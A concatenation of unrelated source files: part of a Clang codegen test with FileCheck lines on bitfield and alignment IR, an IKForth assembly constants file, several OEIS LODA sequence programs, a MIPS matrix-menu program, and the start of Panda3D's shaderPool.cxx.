// CHECK-V6COMPAT: [[OLD_VALUE:%.*]] = load i8, i8* [[FIELD_P]], align 2
// CHECK-NOCOMPAT: [[OLD_VALUE:%.*]] = load i8, i8* [[FIELD_P]], align 4
// CHECK: [[T0:%.*]] = and i8 [[TRUNC]], 3
// CHECK: [[T1:%.*]] = and i8 [[OLD_VALUE]], -4
// CHECK: [[T2:%.*]] = or i8 [[T1]], [[T0]]
// CHECK-V6COMPAT: store i8 [[T2]], i8* [[FIELD_P]], align 2
// CHECK-NOCOMPAT: store i8 [[T2]], i8* [[FIELD_P]], align 4
c->onebit = int_source();
// CHECK: [[C_P:%.*]] = load [[C:%.*]]*, [[C]]**
// CHECK: [[T0:%.*]] = bitcast [[C]]* [[C_P]] to i8*
// CHECK: [[T1:%.*]] = getelementptr inbounds i8, i8* [[T0]], i64 8
// CHECK: [[B_P:%.*]] = bitcast i8* [[T1]] to [[B:%.*]]*
// CHECK: [[FIELD_P:%.*]] = bitcast [[B]]* [[B_P]] to i8*
// CHECK-V6COMPAT: [[VALUE:%.*]] = load i8, i8* [[FIELD_P]], align 2
// CHECK-NOCOMPAT: [[VALUE:%.*]] = load i8, i8* [[FIELD_P]], align 4
// CHECK: [[T0:%.*]] = shl i8 [[VALUE]], 6
// CHECK: [[T1:%.*]] = ashr i8 [[T0]], 6
// CHECK: [[T2:%.*]] = sext i8 [[T1]] to i32
// CHECK: call void @_Z8int_sinki(i32 noundef [[T2]])
int_sink(c->onebit);
}
// These accesses should have alignment 2 because they're at offset 8
// in an alignment-2 variable.
// CHECK-LABEL: @_ZN5test01dEv
void d() {
// CHECK-V6COMPAT: [[C_P:%.*]] = alloca [[C:%.*]], align 2
// CHECK-NOCOMPAT: [[C_P:%.*]] = alloca [[C:%.*]], align 4
C c;
// CHECK: [[CALL:%.*]] = call noundef i32 @_Z10int_sourcev()
// CHECK: [[T0:%.*]] = bitcast [[C]]* [[C_P]] to i8*
// CHECK: [[T1:%.*]] = getelementptr inbounds i8, i8* [[T0]], i64 8
// CHECK: [[B_P:%.*]] = bitcast i8* [[T1]] to [[B]]*
// CHECK: [[FIELD_P:%.*]] = bitcast [[B]]* [[B_P]] to i8*
// CHECK: [[TRUNC:%.*]] = trunc i32 [[CALL]] to i8
// CHECK-V6COMPAT: [[OLD_VALUE:%.*]] = load i8, i8* [[FIELD_P]], align 2
// CHECK-NOCOMPAT: [[OLD_VALUE:%.*]] = load i8, i8* [[FIELD_P]], align 4
// CHECK: [[T0:%.*]] = and i8 [[TRUNC]], 3
// CHECK: [[T1:%.*]] = and i8 [[OLD_VALUE]], -4
// CHECK: [[T2:%.*]] = or i8 [[T1]], [[T0]]
// CHECK-V6COMPAT: store i8 [[T2]], i8* [[FIELD_P]], align 2
// CHECK-NOCOMPAT: store i8 [[T2]], i8* [[FIELD_P]], align 4
c.onebit = int_source();
// CHECK: [[T0:%.*]] = bitcast [[C]]* [[C_P]] to i8*
// CHECK: [[T1:%.*]] = getelementptr inbounds i8, i8* [[T0]], i64 8
// CHECK: [[B_P:%.*]] = bitcast i8* [[T1]] to [[B:%.*]]*
// CHECK: [[FIELD_P:%.*]] = bitcast [[B]]* [[B_P]] to i8*
// CHECK-V6COMPAT: [[VALUE:%.*]] = load i8, i8* [[FIELD_P]], align 2
// CHECK-NOCOMPAT: [[VALUE:%.*]] = load i8, i8* [[FIELD_P]], align 4
// CHECK: [[T0:%.*]] = shl i8 [[VALUE]], 6
// CHECK: [[T1:%.*]] = ashr i8 [[T0]], 6
// CHECK: [[T2:%.*]] = sext i8 [[T1]] to i32
// CHECK: call void @_Z8int_sinki(i32 noundef [[T2]])
int_sink(c.onebit);
}
// These accesses should have alignment 8 because they're at offset 8
// in an alignment-16 variable.
// CHECK-LABEL: @_ZN5test01eEv
void e() {
// CHECK: [[C_P:%.*]] = alloca [[C:%.*]], align 16
__attribute__((aligned(16))) C c;
// CHECK: [[CALL:%.*]] = call noundef i32 @_Z10int_sourcev()
// CHECK: [[T0:%.*]] = bitcast [[C]]* [[C_P]] to i8*
// CHECK: [[T1:%.*]] = getelementptr inbounds i8, i8* [[T0]], i64 8
// CHECK: [[B_P:%.*]] = bitcast i8* [[T1]] to [[B]]*
// CHECK: [[FIELD_P:%.*]] = bitcast [[B]]* [[B_P]] to i8*
// CHECK: [[TRUNC:%.*]] = trunc i32 [[CALL]] to i8
// CHECK: [[OLD_VALUE:%.*]] = load i8, i8* [[FIELD_P]], align 8
// CHECK: [[T0:%.*]] = and i8 [[TRUNC]], 3
// CHECK: [[T1:%.*]] = and i8 [[OLD_VALUE]], -4
// CHECK: [[T2:%.*]] = or i8 [[T1]], [[T0]]
// CHECK: store i8 [[T2]], i8* [[FIELD_P]], align 8
c.onebit = int_source();
// CHECK: [[T0:%.*]] = bitcast [[C]]* [[C_P]] to i8*
// CHECK: [[T1:%.*]] = getelementptr inbounds i8, i8* [[T0]], i64 8
// CHECK: [[B_P:%.*]] = bitcast i8* [[T1]] to [[B:%.*]]*
// CHECK: [[FIELD_P:%.*]] = bitcast [[B]]* [[B_P]] to i8*
// CHECK: [[VALUE:%.*]] = load i8, i8* [[FIELD_P]], align 8
// CHECK: [[T0:%.*]] = shl i8 [[VALUE]], 6
// CHECK: [[T1:%.*]] = ashr i8 [[T0]], 6
// CHECK: [[T2:%.*]] = sext i8 [[T1]] to i32
// CHECK: call void @_Z8int_sinki(i32 noundef [[T2]])
int_sink(c.onebit);
}
}
namespace test1 {
struct Array {
int elts[4];
};
struct A {
__attribute__((aligned(16))) Array aArray;
};
struct B : virtual A {
void *bPointer; // puts bArray at offset 16
Array bArray;
};
struct C : virtual A { // must be viable as primary base
// Non-empty, nv-size not a multiple of 16.
void *cPointer1;
void *cPointer2;
};
// Proof of concept that the non-virtual components of B do not have
// to be 16-byte-aligned.
struct D : C, B {};
// For the following tests, we want to assign into a variable whose
// alignment is high enough that it will absolutely not be the
// constraint on the memcpy alignment.
typedef __attribute__((aligned(64))) Array AlignedArray;
// CHECK-LABEL: @_ZN5test11aERNS_1AE
void a(A &a) {
// CHECK: [[RESULT:%.*]] = alloca [[ARRAY:%.*]], align 64
// CHECK: [[A_P:%.*]] = load [[A:%.*]]*, [[A]]**
// CHECK: [[ARRAY_P:%.*]] = getelementptr inbounds [[A]], [[A]]* [[A_P]], i32 0, i32 0
// CHECK: [[T0:%.*]] = bitcast [[ARRAY]]* [[RESULT]] to i8*
// CHECK: [[T1:%.*]] = bitcast [[ARRAY]]* [[ARRAY_P]] to i8*
// CHECK: call void @llvm.memcpy.p0i8.p0i8.i64(i8* align 64 [[T0]], i8* align 16 [[T1]], i64 16, i1 false)
AlignedArray result = a.aArray;
}
// CHECK-LABEL: @_ZN5test11bERNS_1BE
void b(B &b) {
// CHECK: [[RESULT:%.*]] = alloca [[ARRAY]], align 64
// CHECK: [[B_P:%.*]] = load [[B:%.*]]*, [[B]]**
// CHECK: [[VPTR_P:%.*]] = bitcast [[B]]* [[B_P]] to i8**
// CHECK: [[VPTR:%.*]] = load i8*, i8** [[VPTR_P]], align 8
// CHECK: [[T0:%.*]] = getelementptr i8, i8* [[VPTR]], i64 -24
// CHECK: [[OFFSET_P:%.*]] = bitcast i8* [[T0]] to i64*
// CHECK: [[OFFSET:%.*]] = load i64, i64* [[OFFSET_P]], align 8
// CHECK: [[T0:%.*]] = bitcast [[B]]* [[B_P]] to i8*
// CHECK: [[T1:%.*]] = getelementptr inbounds i8, i8* [[T0]], i64 [[OFFSET]]
// CHECK: [[A_P:%.*]] = bitcast i8* [[T1]] to [[A]]*
// CHECK: [[ARRAY_P:%.*]] = getelementptr inbounds [[A]], [[A]]* [[A_P]], i32 0, i32 0
// CHECK: [[T0:%.*]] = bitcast [[ARRAY]]* [[RESULT]] to i8*
// CHECK: [[T1:%.*]] = bitcast [[ARRAY]]* [[ARRAY_P]] to i8*
// CHECK: call void @llvm.memcpy.p0i8.p0i8.i64(i8* align 64 [[T0]], i8* align 16 [[T1]], i64 16, i1 false)
AlignedArray result = b.aArray;
}
// CHECK-LABEL: @_ZN5test11cERNS_1BE
void c(B &b) {
// CHECK: [[RESULT:%.*]] = alloca [[ARRAY]], align 64
// CHECK: [[B_P:%.*]] = load [[B]]*, [[B]]**
// CHECK: [[ARRAY_P:%.*]] = getelementptr inbounds [[B]], [[B]]* [[B_P]], i32 0, i32 2
// CHECK: [[T0:%.*]] = bitcast [[ARRAY]]* [[RESULT]] to i8*
// CHECK: [[T1:%.*]] = bitcast [[ARRAY]]* [[ARRAY_P]] to i8*
// CHECK: call void @llvm.memcpy.p0i8.p0i8.i64(i8* align 64 [[T0]], i8* align 8 [[T1]], i64 16, i1 false)
AlignedArray result = b.bArray;
}
// CHECK-LABEL: @_ZN5test11dEPNS_1BE
void d(B *b) {
// CHECK: [[RESULT:%.*]] = alloca [[ARRAY]], align 64
// CHECK: [[B_P:%.*]] = load [[B]]*, [[B]]**
// CHECK: [[ARRAY_P:%.*]] = getelementptr inbounds [[B]], [[B]]* [[B_P]], i32 0, i32 2
// CHECK: [[T0:%.*]] = bitcast [[ARRAY]]* [[RESULT]] to i8*
// CHECK: [[T1:%.*]] = bitcast [[ARRAY]]* [[ARRAY_P]] to i8*
// CHECK: call void @llvm.memcpy.p0i8.p0i8.i64(i8* align 64 [[T0]], i8* align 8 [[T1]], i64 16, i1 false)
AlignedArray result = b->bArray;
}
// CHECK-LABEL: @_ZN5test11eEv
void e() {
// CHECK: [[B_P:%.*]] = alloca [[B]], align 16
// CHECK: [[RESULT:%.*]] = alloca [[ARRAY]], align 64
// CHECK: [[ARRAY_P:%.*]] = getelementptr inbounds [[B]], [[B]]* [[B_P]], i32 0, i32 2
// CHECK: [[T0:%.*]] = bitcast [[ARRAY]]* [[RESULT]] to i8*
// CHECK: [[T1:%.*]] = bitcast [[ARRAY]]* [[ARRAY_P]] to i8*
// CHECK: call void @llvm.memcpy.p0i8.p0i8.i64(i8* align 64 [[T0]], i8* align 16 [[T1]], i64 16, i1 false)
B b;
AlignedArray result = b.bArray;
}
// CHECK-LABEL: @_ZN5test11fEv
void f() {
// TODO: we should devirtualize this derived-to-base conversion.
// CHECK: [[D_P:%.*]] = alloca [[D:%.*]], align 16
// CHECK: [[RESULT:%.*]] = alloca [[ARRAY]], align 64
// CHECK: [[VPTR_P:%.*]] = bitcast [[D]]* [[D_P]] to i8**
// CHECK: [[VPTR:%.*]] = load i8*, i8** [[VPTR_P]], align 16
// CHECK: [[T0:%.*]] = getelementptr i8, i8* [[VPTR]], i64 -24
// CHECK: [[OFFSET_P:%.*]] = bitcast i8* [[T0]] to i64*
// CHECK: [[OFFSET:%.*]] = load i64, i64* [[OFFSET_P]], align 8
// CHECK: [[T0:%.*]] = bitcast [[D]]* [[D_P]] to i8*
// CHECK: [[T1:%.*]] = getelementptr inbounds i8, i8* [[T0]], i64 [[OFFSET]]
// CHECK: [[A_P:%.*]] = bitcast i8* [[T1]] to [[A]]*
// CHECK: [[ARRAY_P:%.*]] = getelementptr inbounds [[A]], [[A]]* [[A_P]], i32 0, i32 0
// CHECK: [[T0:%.*]] = bitcast [[ARRAY]]* [[RESULT]] to i8*
// CHECK: [[T1:%.*]] = bitcast [[ARRAY]]* [[ARRAY_P]] to i8*
// CHECK: call void @llvm.memcpy.p0i8.p0i8.i64(i8* align 64 [[T0]], i8* align 16 [[T1]], i64 16, i1 false)
D d;
AlignedArray result = d.aArray;
}
// CHECK-LABEL: @_ZN5test11gEv
void g() {
// CHECK: [[D_P:%.*]] = alloca [[D]], align 16
// CHECK: [[RESULT:%.*]] = alloca [[ARRAY]], align 64
// CHECK: [[T0:%.*]] = bitcast [[D]]* [[D_P]] to i8*
// CHECK: [[T1:%.*]] = getelementptr inbounds i8, i8* [[T0]], i64 24
// CHECK: [[B_P:%.*]] = bitcast i8* [[T1]] to [[B:%.*]]*
// CHECK: [[ARRAY_P:%.*]] = getelementptr inbounds [[B]], [[B]]* [[B_P]], i32 0, i32 2
// CHECK: [[T0:%.*]] = bitcast [[ARRAY]]* [[RESULT]] to i8*
// CHECK: [[T1:%.*]] = bitcast [[ARRAY]]* [[ARRAY_P]] to i8*
// CHECK: call void @llvm.memcpy.p0i8.p0i8.i64(i8* align 64 [[T0]], i8* align 8 [[T1]], i64 16, i1 false)
D d;
AlignedArray result = d.bArray;
}
// CHECK-LABEL: @_ZN5test11hEPA_NS_1BE
void h(B (*b)[]) {
// CHECK: [[RESULT:%.*]] = alloca [[ARRAY]], align 64
// CHECK: [[B_P:%.*]] = load [0 x [[B]]]*, [0 x [[B]]]**
// CHECK: [[ELEMENT_P:%.*]] = getelementptr inbounds [0 x [[B]]], [0 x [[B]]]* [[B_P]], i64 0
// CHECK: [[ARRAY_P:%.*]] = getelementptr inbounds [[B]], [[B]]* [[ELEMENT_P]], i32 0, i32 2
// CHECK: [[T0:%.*]] = bitcast [[ARRAY]]* [[RESULT]] to i8*
// CHECK: [[T1:%.*]] = bitcast [[ARRAY]]* [[ARRAY_P]] to i8*
// CHECK: call void @llvm.memcpy.p0i8.p0i8.i64(i8* align 64 [[T0]], i8* align 16 [[T1]], i64 16, i1 false)
AlignedArray result = (*b)->bArray;
}
}
// CHECK-LABEL: @_Z22incomplete_array_derefPA_i
// CHECK: load i32, i32* {{%.*}}, align 4
int incomplete_array_deref(int (*p)[]) { return (*p)[2]; }
|
;******************************************************************************
;
; varconst.asm
; IKForth
;
; Unlicense since 1999 by Illya Kysil
;
;******************************************************************************
; Variables & constants
;******************************************************************************
; D: -- 0
$CONST '0',$ZERO,0
; CASE-SENSITIVE
; If CASE-SENSITIVE is true, then FIND is case sensitive
$USER 'CASE-SENSITIVE',$CASE_SENSITIVE,VAR_CASE_SENSITIVE
; CURRENT-FILE-POSITION
$USER 'CURRENT-FILE-POSITION',$CURRENT_FILE_POSITION,VAR_CURR_FILE_POS
; c-addr and length of last REFILL
$USER 'REFILL-SOURCE',$REFILL_SOURCE,VAR_REFILL_SOURCE
$USER 'INCLUDE-LINE#',$INCLUDE_LINE_NUM,VAR_INCLUDE_LINE_NUM
$USER 'ERROR-LINE#',$ERROR_LINE_NUM,VAR_ERROR_LINE_NUM
; addr of the latest INCLUDE mark
; INCLUDE mark is an xt of the word whose name provides included file name
$USER 'INCLUDE-MARK',$INCLUDE_MARK,VAR_INCLUDE_MARK
; FILE-LINE
; Line address for INCLUDED
$USER 'FILE-LINE',$FILE_LINE,VAR_FILE_LINE
; #FILE-LINE
; Line length for INCLUDED
$USER '#FILE-LINE',$HASH_FILE_LINE,VAR_HASH_FILE_LINE
$CONST 'MAX-FILE-LINE-LENGTH',,MAX_FILE_LINE_LENGTH
; INTERPRET-TEXT
; Line address for INCLUDED
$USER 'INTERPRET-TEXT',$INTERPRET_TEXT,VAR_INTERPRET_TEXT
; #INTERPRET-TEXT
; Line length for INCLUDED
$USER '#INTERPRET-TEXT',$HASH_INTERPRET_TEXT,VAR_HASH_INTERPRET_TEXT
; USER-SIZE-VAR
$VAR 'USER-SIZE-VAR',,USER_AREA_SIZE
; EXCEPTION-HANDLER
$USER 'EXCEPTION-HANDLER',$EXCEPTION_HANDLER,VAR_EXCEPTION_HANDLER
; S"INDEX
$VAR 'S"INDEX',$SQINDEX,0
; /S"INDEX
$CONST '/S"INDEX',$SLSQINDEX,SLSQINDEX
; S"INDEX-MASK
$CONST 'S"INDEX-MASK',$SQINDEX_MASK,SLSQINDEX - 1
; S"BUFFER
$USER 'S"BUFFER',$SQBUFFER,VAR_SQBUFFER
; /S"BUFFER
$CONST '/S"BUFFER',$SLSQBUFFER,SLSQBUFFER
; POCKET
$USER 'POCKET',$POCKET,VAR_POCKET
; CURRENT
$USER 'CURRENT',$CURRENT,VAR_CURRENT
; RECURSE-XT
; Stores the xt of the word to be compiled by RECURSE
$USER 'RECURSE-XT',,VAR_RECURSE_XT
; DEFER-XT
; Stores the xt of the last DEFER executed by (DO-DEFER)
$USER 'DEFER-XT',,VAR_DEFER_XT
; Start file name
; #SF
$VAR '#SF',$HASH_SF,0
HASH_SF_VAR EQU PFA_$HASH_SF
; SF
$VAR 'SF',$SF,0
SF_VAR EQU PFA_$SF
$CONST 'EXIT-CODE',$EXIT_CODE,0
EXIT_CODE_VAR EQU PFA_$EXIT_CODE
$CONST 'ARGC',$ARGC,0
ARGC_VAR EQU PFA_$ARGC
$CONST 'ARGV',$ARGV,0
ARGV_VAR EQU PFA_$ARGV
$CONST 'ENVP',$ENVP,0
ENVP_VAR EQU PFA_$ENVP
; DATA-AREA-BASE
$CONST 'DATA-AREA-BASE',,DESIRED_BASE_EQU
; DATA-AREA-SIZE
$CONST 'DATA-AREA-SIZE',,DESIRED_SIZE_VAR + IMAGE_BASE
; DP
; HERE = DP @
$VAR 'DP',$DP,HERE + IMAGE_BASE
VAR_DP EQU PFA_$DP
; 6.1.2250 STATE
; D: -- a-addr
; a-addr is the address of a cell containing the compilation-state flag.
; STATE is true when in compilation state, false otherwise.
; The true value in STATE is non-zero, but is otherwise implementation-defined.
$VAR 'STATE',$STATE,F_FALSE
VAR_STATE = PFA_$STATE
; 6.1.0750 BASE
; a-addr is the address of a cell containing the current number-conversion
; radix {{2...36}}.
; D: -- a-addr
$USER 'BASE',$BASE,VAR_BASE
; 6.1.0770 BL
; Push space character on stack
; D: -- char
$CONST 'BL',$BL,' '
; MAIN
; First Forth word to EXECUTE
$DEFER 'MAIN',$MAIN,$BOOTSTRAP_INTERPRET
MAIN_PROC_VAR EQU PFA_$MAIN
|
; A106040: First 9-free digit in the fractional part of the decimal expansion of (1/10^n)^(1/10^n).
; 0,7,5,3,0,8,8,8,8,7,7,7,7,7,6,6,6,6,5,5,5,5,4,4,4,4,4,3,3,3,3,2,2,2,2,1,1,1,1,1,0,0,0,0,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,7,7,7,7,7,7,7,7,7,7,7,7,7
mul $0,23
lpb $0
mov $1,20
mov $2,$0
div $0,10
mul $2,9
add $1,$2
lpe
mov $3,$1
cmp $3,0
add $1,$3
mov $0,$1
sub $0,1
mod $0,10
|
.data
message1: .asciiz "\n1. Enter the size of the matrix (N): "
message2: .asciiz "\n2. Allocate array."
message3: .asciiz "\n3. Enter the matrix element to be accessed: "
message4: .asciiz "\n4. Summation of matrix elements row-major: "
message5: .asciiz "\n5. Summation of matrix elements column-major: "
message6: .asciiz "\n6. Display row and column member of this value: "
quit: .asciiz "\n7. Quit"
messageChoose: .asciiz "\nChoose one of the options above: "
enterSize: .asciiz "\nEnter the size of the matrix: "
arrayAllocated: .asciiz "\Array has been allocated with its proper size.\n"
enterRowNo: .asciiz "\nEnter row number: "
enterColumnNo: .asciiz "\nEnter column number: "
content: .asciiz "\nThe content is: "
rowSummations: .asciiz "\Row summations are:\n"
columnSummations: .asciiz "\Column summations are:\n"
enterElement: .asciiz "\nEnter element that is in the matrix: "
space: .asciiz " "
endl: .asciiz "\n"
# $a1 keeps the dimension of matrix
# $t0 as the length of array
# $t1 used as the inputs of the array
# $t2 used as option number user chosed
# $s0, $s1 keeps the address of the array
# $s2 row no entered by the user
# $s3 column no entered by the user
# $s4 element entered by the user
.text
main:
#-------------------Calls----------------------#
# 1st choice
li $v0, 4
la $a0, message1
syscall
# 2nd choice
li $v0, 4
la $a0, message2
syscall
# 3rd choice
li $v0, 4
la $a0, message3
syscall
# 4th choice
li $v0, 4
la $a0, message4
syscall
# 5th choice
li $v0, 4
la $a0, message5
syscall
# 6th choice
li $v0, 4
la $a0, message6
syscall
# 7th choice
li $v0, 4
la $a0, quit
syscall
# Print the user to choose
li $v0, 4
la $a0, messageChoose
syscall
# Prints options to choose for users
li $v0, 5
syscall
# Save the chosen option to $t2
move $t2, $v0
# $t2 is used for keeping what user chose from the menu
beq $t2, 1, option1
beq $t2, 2, option2
beq $t2, 3, option3
beq $t2, 4, option4
beq $t2, 5, option5
beq $t2, 6, option6
j exitMain
option1:
# Ask user to enter the size of the array
li $v0, 4
la $a0, enterSize
syscall
# User enters size
li $v0, 5
syscall
# Keeps the size of the matrix
move $a1, $v0
# Goes back to options menu
j main
option2:
# Keeps the size of the matrix in a temporary register $t0 (to control the loops)
mul $t0, $a1, $a1
# Creates new array
move $a0, $t0
li $v0, 9
syscall
# Strores matrix address in $a0
move $a0, $v0
# Strores array address in $s0
move $s0, $v0
move $s1, $v0
# $t1 holds inputs to the array
addi $t1, $0, 1
jal initializeArray
j main
option3:
# Print the user to choose
li $v0, 4
la $a0, enterRowNo
syscall
# Row number entered by the user
li $v0, 5
syscall
# Save the chosen row no to $s2
move $s2, $v0
# Print the user to choose
li $v0, 4
la $a0, enterColumnNo
syscall
# Column number entered by the user
li $v0, 5
syscall
# Save the chosen column no to $s3
move $s3, $v0
# jumps to calculate and display the content of the given matrix positions
jal displayByRC
j main
option4:
# Keeps number of rows in $t8
move $t8, $a1
# Print row summations
li $v0, 4
la $a0, rowSummations
syscall
# Finds the sum of the rows and prints
jal rowSum
j main
option5:
# Keeps number of rows in $t8
move $t8, $a1
# Print column summations
li $v0, 4
la $a0, columnSummations
syscall
# Finds the sum of the rows and prints
jal columnSum
j main
option6:
# Message about asking user to enter the element
li $v0, 4
la $a0, enterElement
syscall
# Element entered by the user
li $v0, 5
syscall
move $s4, $v0
# Keeps number of rows in $t8, $t9
li $t8, 1
li $t9, 1
addi $t4, $a1, 1
addi $t5, $a1, 1
j findElement
j main
exitMain:
# End of execution
li $v0, 10
syscall
initializeArray:
beq $t0, 0, exitInitializeArray
sw $t1, 0($s0)
addi $s0, $s0, 4
addi $t1, $t1, 1
addi $t0, $t0, -1
j initializeArray
exitInitializeArray:
mul $t0, $a1, $a1
move $s0, $s1
# Array allocated message
li $v0, 4
la $a0, arrayAllocated
syscall
jr $ra
displayByRC:
addi $t9, $s2, -1
addi $t8, $s3, -1
mul $t8, $t8, $a1
add $t7, $t8, $t9
loop:
beq $t7, $0, exitLoop
addi $s0, $s0, 4
addi $t7, $t7, -1
j loop
exitLoop:
lw $t7, 0($s0)
# Print the content message
li $v0, 4
la $a0, content
syscall
# Print the content
li $v0, 1
move $a0, $t7
syscall
exitDisplayByRC:
move $s0, $s1
jr $ra
rowSum:
beq $t8, $0, exitRowSum
addi $t6, $0, 0
move $t4, $a1
loopRow:
beq $t4, 0, exitLoopRow
lw $t7, 0($s0)
add $t6, $t6, $t7
move $t5, $a1
loopColumn:
beq $t5, 0, exitLoopColumn
addi $s0, $s0, 4
addi $t5, $t5, -1
j loopColumn
exitLoopColumn:
addi $t4, $t4, -1
j loopRow
exitLoopRow:
# Print the row sum
li $v0, 1
move $a0, $t6
syscall
# Print end line
li $v0, 4
la $a0, endl
syscall
addi $t8, $t8, -1
move $s0, $s1
sub $t9, $a1, $t8
loopNextRow:
beq $t9, 0, exitLoopNextRow
addi $s0, $s0, 4
addi $t9, $t9, -1
j loopNextRow
exitLoopNextRow:
j rowSum
exitRowSum:
move $s0, $s1
jr $ra
columnSum:
beq $t8, $0, exitColumnSum
addi $t6, $0, 0
move $t4, $a1
loopColumnIn:
beq $t4, 0, exitLoopColumnIn
lw $t7, 0($s0)
add $t6, $t6, $t7
addi $t4, $t4, -1
addi $s0, $s0, 4
j loopColumnIn
exitLoopColumnIn:
# Print the row sum
li $v0, 1
move $a0, $t6
syscall
# Print end line
li $v0, 4
la $a0, endl
syscall
#addi $s0, $s0, 4
addi $t8, $t8, -1
j columnSum
exitColumnSum:
move $s0, $s1
jr $ra
findElement:
beq $t8, $t4, exitFindElement
li $t9, 1
loopFindElement:
beq $t9, $t4, exitLoopFindElement
lw $t7, 0($s0)
beq $t7, $s4, foundElement
addi $t9, $t9, 1
addi $s0, $s0, 4
j loopFindElement
exitLoopFindElement:
addi $t8, $t8, 1
j findElement
exitFindElement:
move $s0, $s1
jr $ra
foundElement:
# Print the row
li $v0, 1
move $a0, $t9
syscall
# Print end line
li $v0, 4
la $a0, space
syscall
# Print the column
li $v0, 1
move $a0, $t8
syscall
move $s0, $s1
jr $ra |
; A266958: Numbers m such that 9*m+13 is a square.
; -1,4,12,27,43,68,92,127,159,204,244,299,347,412,468,543,607,692,764,859,939,1044,1132,1247,1343,1468,1572,1707,1819,1964,2084,2239,2367,2532,2668,2843,2987,3172,3324,3519,3679,3884,4052,4267,4443,4668,4852,5087,5279,5524
mov $4,$0
add $0,1
div $0,2
pow $0,2
mov $2,$0
sub $2,1
mov $1,$2
mov $3,$4
mul $3,2
add $1,$3
mov $5,$4
mul $5,$4
mov $3,$5
mul $3,2
add $1,$3
|
; A142161: Primes congruent to 4 mod 39.
; Submitted by Christian Krause
; 43,199,277,433,823,1213,1291,1447,1759,1993,2383,2539,2617,2851,3163,3319,3631,3709,3943,4021,4099,4177,4567,4723,4801,4957,5113,5347,5503,5581,5659,5737,6361,6673,6829,6907,7219,7297,7687,8233,8311,8389,8467,8623,8779,9013,9091,9403,9871,9949,10651,10729,11119,11197,11353,11587,11743,11821,12211,12289,12601,12757,13147,13381,13537,13693,14083,14551,14629,15331,15643,15877,16033,16111,16189,16267,16657,17047,17203,17359,17749,17827,18061,18217,18451,18919,19231,19309,19387,19543,19699,19777
mov $1,39
mov $2,$0
add $2,2
pow $2,2
lpb $2
sub $1,18
sub $2,1
mov $3,$1
mul $3,2
seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
sub $0,$3
add $1,57
mov $4,$0
max $4,0
cmp $4,$0
mul $2,$4
lpe
mov $0,$1
mul $0,2
sub $0,113
|
; A331434: Column 2 of triangle in A331431.
; 30,-180,630,-1680,3780,-7560,13860,-23760,38610,-60060,90090,-131040,185640,-257040,348840,-465120,610470,-790020,1009470,-1275120,1593900,-1973400,2421900,-2948400,3562650,-4275180,5097330,-6041280,7120080,-8347680,9738960
mov $1,-6
bin $1,$0
mul $1,30
|
; A033596: a(n) = (n^2 - 1)*(n^2 - 3).
; 3,0,3,48,195,528,1155,2208,3843,6240,9603,14160,20163,27888,37635,49728,64515,82368,103683,128880,158403,192720,232323,277728,329475,388128,454275,528528,611523,703920,806403,919680,1044483,1181568,1331715,1495728,1674435
pow $0,2
sub $0,2
pow $0,2
sub $0,1
mov $1,$0
|
; A071617: A063439[A000040(n)]=Phi[p]^Phi[p].
; Submitted by Jon Maiga
; 1,4,256,46656,10000000000,8916100448256,18446744073709551616,39346408075296537575424,341427877364219557396646723584,33145523113253374862572728253364605812736
mul $0,2
trn $0,1
seq $0,173919 ; Numbers that are prime or one less than a prime.
pow $0,$0
|
; A270205: Number of 2 X 2 planar subsets in an n X n X n cube.
; 0,0,6,36,108,240,450,756,1176,1728,2430,3300,4356,5616,7098,8820,10800,13056,15606,18468,21660,25200,29106,33396,38088,43200,48750,54756,61236,68208,75690,83700,92256,101376,111078,121380,132300,143856,156066,168948,182520,196800,211806,227556,244068,261360,279450,298356,318096,338688,360150,382500,405756,429936,455058,481140,508200,536256,565326,595428,626580,658800,692106,726516,762048,798720,836550,875556,915756,957168,999810,1043700,1088856,1135296,1183038,1232100,1282500,1334256,1387386,1441908,1497840,1555200,1614006,1674276,1736028,1799280,1864050,1930356,1998216,2067648,2138670,2211300,2285556,2361456,2439018,2518260,2599200,2681856,2766246,2852388
mov $1,$0
mul $0,3
sub $1,1
mul $0,$1
mul $0,$1
|
/**
* PANDA 3D SOFTWARE
* Copyright (c) Carnegie Mellon University. All rights reserved.
*
* All use of this software is subject to the terms of the revised BSD
* license. You should have received a copy of this license along
* with this source code in a file named "LICENSE."
*
* @file shaderPool.cxx
* @author aignacio
* @date 2006-03
*/
#include "shaderPool.h"
#include "config_putil.h"
#include "config_express.h"
#include "virtualFileSystem.h"
#include "loader.h"
#include "shader.h"
#include "string_utils.h"
ShaderPool *ShaderPool::_global_ptr = nullptr;
/**
* Lists the contents of the shader pool to the indicated output stream.
*/
void ShaderPool::
write(std::ostream &out) {
get_ptr()->ns_list_contents(out);
}
/**
* The nonstatic implementation of has_shader().
*/
bool ShaderPool::
ns_has_shader(const Filename &orig_filename) {
Filename filename;
resolve_filename(filename, orig_filename);
LightMutexHolder holder(_lock);
Shaders::const_iterator ti;
ti = _shaders.find(filename);
if (ti != _shaders.end()) {
// This shader was previously loaded.
return true;
}
return false;
}
/**
* The nonstatic implementation of load_shader().
*/
CPT(Shader) ShaderPool::
ns_load_shader(const Filename &orig_filename) {
Filename filename;
resolve_filename(filename, orig_filename);
{
LightMutexHolder holder(_lock);
Shaders::const_iterator ti;
ti = _shaders.find(filename);
if (ti != _shaders.end()) {
// This shader was previously loaded.
return (*ti).second;
}
}
// The shader was not found in the pool.
gobj_cat.info()
<< "Loading shader " << filename << "\n";
Shader::ShaderLanguage lang = Shader::SL_none;
// Do some guesswork to see if we can figure out the shader language from
// the file extension. This is really just guesswork - there are no
// standardized extensions for shaders, especially for GLSL. These are the
// ones that appear to be closest to "standard".
std::string ext = downcase(filename.get_extension());
if (ext == "cg" || ext == "sha") {
// "sha" is for historical reasons.
lang = Shader::SL_Cg;
} else if (ext == "glsl" || ext == "vert" || ext == "frag" ||
ext == "geom" || ext == "tesc" || ext == "tese" ||
ext == "comp") {
lang = Shader::SL_GLSL;
}
PT(Shader) shader = Shader::load(filename, lang);
if (shader == nullptr) {
// This shader was not found or could not be read.
return nullptr;
}
{
LightMutexHolder holder(_lock);
// Now try again. Someone may have loaded the shader in another thread.
Shaders::const_iterator ti;
ti = _shaders.find(filename);
if (ti != _shaders.end()) {
// This shader was previously loaded.
return (*ti).second;
}
_shaders[filename] = shader;
}
return shader;
}
/**
* The nonstatic implementation of add_shader().
*/
void ShaderPool::
ns_add_shader(const Filename &orig_filename, Shader *shader) {
Filename filename;
resolve_filename(filename, orig_filename);
